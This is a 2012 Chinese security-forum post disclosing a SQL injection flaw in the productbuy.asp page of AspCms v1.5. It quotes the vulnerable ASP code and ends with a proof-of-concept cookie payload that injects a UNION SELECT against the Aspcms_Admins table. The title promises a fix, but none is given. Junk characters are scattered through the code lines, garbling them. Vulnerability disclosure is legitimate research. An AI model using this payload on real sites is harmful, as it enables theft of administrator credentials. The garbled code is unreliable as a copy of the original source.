找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2459|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....1 b  l) u# R3 Y2 j/ P
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
9 `* x- g" B$ O! D废话不多说,看代码:/ V+ r4 H* @+ S5 Q: _: t) t2 X

3 e% w" y  l7 V% ]<%
* F( S( @1 c/ B: h- V2 ~5 W( m& T
# ~* |* n8 v" y& k5 R2 vif action = "buy" then
- y2 r) T& M$ O# D; T0 K) N! E3 W& ]! e  t/ c) X
        addOrder()
( c' W! a$ v* v
2 I# T1 h2 I$ j0 W7 ]' Helse; k- B9 h  a( y, F- d# O
3 D2 M* Y( Z# c! @7 w+ h; g. W
        echoContent()7 L% m  y( |- S$ a6 G/ i
4 ~6 Q( @- ?5 E, Y
end if
0 t' A" ^! ?2 `' K* |6 Q
9 b) ?8 s6 e9 ]( ]6 ?8 [0 j" l' X( t0 D# ^3 w$ M

; s2 s, o) m! b4 ~; q……略过+ G; U/ O9 ]: q

7 D. K, m5 U% H- l6 @! ]. a
" b4 `4 [1 N2 @* M4 M- o. u$ U+ i
6 f: L2 p8 h! ~' O  S* b) _: `Sub echoContent()! C3 D! U0 ]: q" p( u. [. S3 i
" |- @# _- M& p. h
        dim id
# I. Y/ C. @. S. Q" j' g
6 g& M+ L$ H7 \        id=getForm("id","get")" r! {6 g" B$ }7 Q8 G
% A( L4 A* \2 E7 P: Z. ]8 i# j
        
* l. A) P0 ~& \; i0 i
. k. w& k% X2 `# D: u: N) i        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" 0 V/ x" m: |8 @+ o: j

$ q7 J1 |. e( b/ d4 g& f. f: j        
/ a0 A) p4 R6 P* h  g3 Z9 I& H- w6 K5 o1 t: p5 O
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")3 U8 c$ [" Q" I1 o

+ \6 s. L' c( G6 R        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
2 V; U3 |! K3 D2 ]# r, E8 e! B& y6 m, O: }
        Dim templatePath,tempStr
0 k' `6 j, i  k( g& g$ H3 y9 g+ o9 [  F  e8 a
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"; S& L' q4 F) A  \7 C6 ?
: T( f: C; U3 r8 ]  `: O
0 b5 J* w. r1 e! Q% S+ C; M' v

+ a4 c, ?) K  J: U$ r/ l  @        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
" o# E. b# n( n& U: `$ Z7 G1 b8 G; D2 p& V3 o. w" o4 F. Q2 C
        selectproduct=rsObj(0)% y  ]7 y$ l, q; F

. G- E4 H+ p- _) n2 k        5 m/ ~% R9 T" S* c- \) h

# s4 ?# |' F; f, f        Dim linkman,gender,phone,mobile,email,qq,address,postcode
. Y  G$ z+ O( s$ E+ @* j0 C7 P- g
4 c' X7 f) P! e* X; Q* }/ ~" z        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",08 b, \* Y0 V$ h& V  |% y& Q) k1 r
; M3 P; Q( c# s
        if rCookie("loginstatus")=1 then  
4 T6 i8 ]% T+ X4 ]
& f2 Q6 R8 |" s) J. i                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
# A+ y0 V9 o& K; w& H0 y+ s2 U( y) ]. {# \- G8 w& S8 |
                linkman=rsObj("truename")' D/ m9 G- ]* E, R$ @! O0 I- U

! e; R7 J- I4 `4 i8 B' e% e" z" W" I                gender=rsObj("gender")  Q0 D: c3 Y& m! a8 G+ |

4 [9 g) y/ h1 H& ]3 u                phone=rsObj("phone")
  _3 [) }, ^; _$ @5 }/ `, r4 n3 E% v6 X7 j7 r( Q4 M# i
                mobile=rsObj("mobile")
1 A* n! G2 C% P" F. M$ K/ Q" Y& u+ u0 M* w- n
                email=rsObj("email")6 x4 r$ t6 W" x3 B( j$ `+ f
% r3 }1 V0 ?/ \! ~& A
                qq=rsObj("qq")
; V, b3 {' t- ~6 U& @: A7 Y
" l$ s; |0 \8 @0 A6 h+ \                address=rsObj("address")' h1 [% b6 E7 P# o+ T' P" g' V- g

* K. A# `! W6 T6 P( m% H+ [8 o                postcode=rsObj("postcode")5 e* w' x3 @2 e/ u# w
5 i. @2 Z6 y6 t0 X
        else : H1 o3 e% n1 s0 ?' W  N
6 [- b# e7 E, V2 ^
                gender=13 Y) c+ M, I' S7 t* H

" c9 j$ C$ ]% \! z* {        end if
, u+ k+ W, Y! ~, D6 m, w) @* M% i+ N6 O  T& ?
        rsObj.close()7 e  U8 A# ?) H, b3 ^' d/ G
, `; j% D; T, \: Z0 H
                ) D# k9 H$ C$ h! N) Y
, t, B, t  Q4 C9 R* t
        with templateObj
6 ?1 ]2 s* [' k8 _6 p* o2 k4 p8 n' I0 i# I
                .content=loadFile(templatePath)        4 d1 W9 {% V; @& t: S
: |4 o9 T# u8 F# C  [
                .parseHtml()
* j7 l2 o- R, [: g* f% ]
( A7 n* ?2 i# h* F& [( t                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
! C( S3 h% ?# ]6 E7 A# S0 q1 K" e
" T; j7 p7 q/ _1 ^& b$ C                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                * b/ q$ u5 o- A. T/ P$ I" e3 ^
1 G4 \5 B5 g% Z/ ?1 M& T
                .content=replaceStr(.content,"[aspcms:gender]",gender)                ' U3 l4 u: I8 |
' n2 M/ M* u" v  L# {
                .content=replaceStr(.content,"[aspcms:phone]",phone)               
) z6 T: `7 ]5 {$ a9 J6 N6 a
7 i* z5 p3 k  E: m. D) k) C) h. |                .content=replaceStr(.content,"[aspcms:mobile]",mobile)                2 {: m6 j& U' s+ b) y2 D

2 H) C( F0 F& R3 d                .content=replaceStr(.content,"[aspcms:email]",email)                        ; ^% c: j* m& {7 Y$ b) A

- L: ~; [! D) s5 Z; F( b! V                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
# ^5 Z# a4 m; D" D6 ?* K% X' g0 Y
                .content=replaceStr(.content,"[aspcms:address]",address)                        
9 [( A5 B( z; W8 Q+ z
, R" u9 a: j7 ]0 G                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
6 r! g* w4 B! ?* N  O; y6 f: z8 V- M3 ]+ B1 @  `. ?/ j) Z
                .parseCommon()                 / N1 @: a% e& s

4 C( u0 f  g0 e2 Q/ e) c" W                echo .content + `) \3 i% N& H# W( Q: @1 @2 a5 S, y
- O4 R6 _% K, c
        end with
. q/ O5 ~$ H) u* u$ i, i2 s3 X9 i6 W5 ?& e2 n& B( \
        set templateobj =nothing : terminateAllObjects7 d0 |# G( j; ~0 j0 d
/ h& S- o7 Z( r: k, C0 q' K
End Sub8 v4 @2 {2 v; O* ^! A/ |% _- h4 H" l
漏洞很明显,没啥好说的3 ^& T+ ~* O0 l: X, z- r; M
poc:0 Y5 e! S. n7 U! j+ M! t

7 Y2 _* J, }0 w0 l* Gjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​" ^/ I! r7 f; ~9 o; T6 [

( c( w+ x7 ~0 h& Y. W2 W& G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表